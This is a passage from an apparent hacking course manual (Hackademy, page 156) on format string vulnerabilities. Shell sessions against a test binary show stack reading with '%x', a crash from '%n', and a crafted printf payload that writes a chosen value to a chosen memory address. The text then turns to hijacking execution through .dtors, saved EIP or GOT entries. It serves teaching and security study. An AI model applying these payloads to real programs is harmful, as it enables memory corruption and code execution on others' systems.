Hack Security Pro.pdf - Index of

ash#./vuln
AAAA %12$x
AAAA 41414141
Bye bye !
bash#
Let us now try to write a value anywhere.
bash#./vuln
AAAA %12$n
Segmentation error
bash#
The program crashes. What happened? Well, we moved to the 12 th argument, that is at the location in
the format chain “AAAA%12$n”, and we tried to write via '%n' the number of characters already
written. '%n' expecting a pointer will thus translate AAAA (0x41414141) as if it were a memory address
and it will try to write onto it the value 5 at address 0x41414141. This address not being mapped in
memory, the program ends with a segmentation error. So we can write the number of characters
displayed at the memory location of our choice. For example, if we want to write 0x00006666 at
address0xbffff850, we can proceed this way:
bash# printf %d 0x00006666
26214
bash# echo `printf "\x50\xf8\xff\xbf%%.26210x"`%12\$n > file
bash# ./vuln < file
00000000[...]000000
Bye bye !
bash#
So we have written 0x6666, that is 26214 at address 0xbffff850. The program did not crash because of
the reference address 0xbffff850 of our format chain, whose later modification does not have any
repercussions on our program.
First of all, we are going to try to determine an address that would be interesting to overwrite in order
to hijack the program execution flow. To do this, we need a function pointer to be called after our
format chain has been treated.
We can for example try to hijack a function of the dtors section. The functions contained in a program's
dtors section are the functions that are called at the end of a program (after the function's main). We
can also try to overwrite an eip (instruction register) saved in the pile or we can also try to hijack the
address of a GOT (Global Offset Table) function.
The Hackademy DMP -156/209- SYSDREAM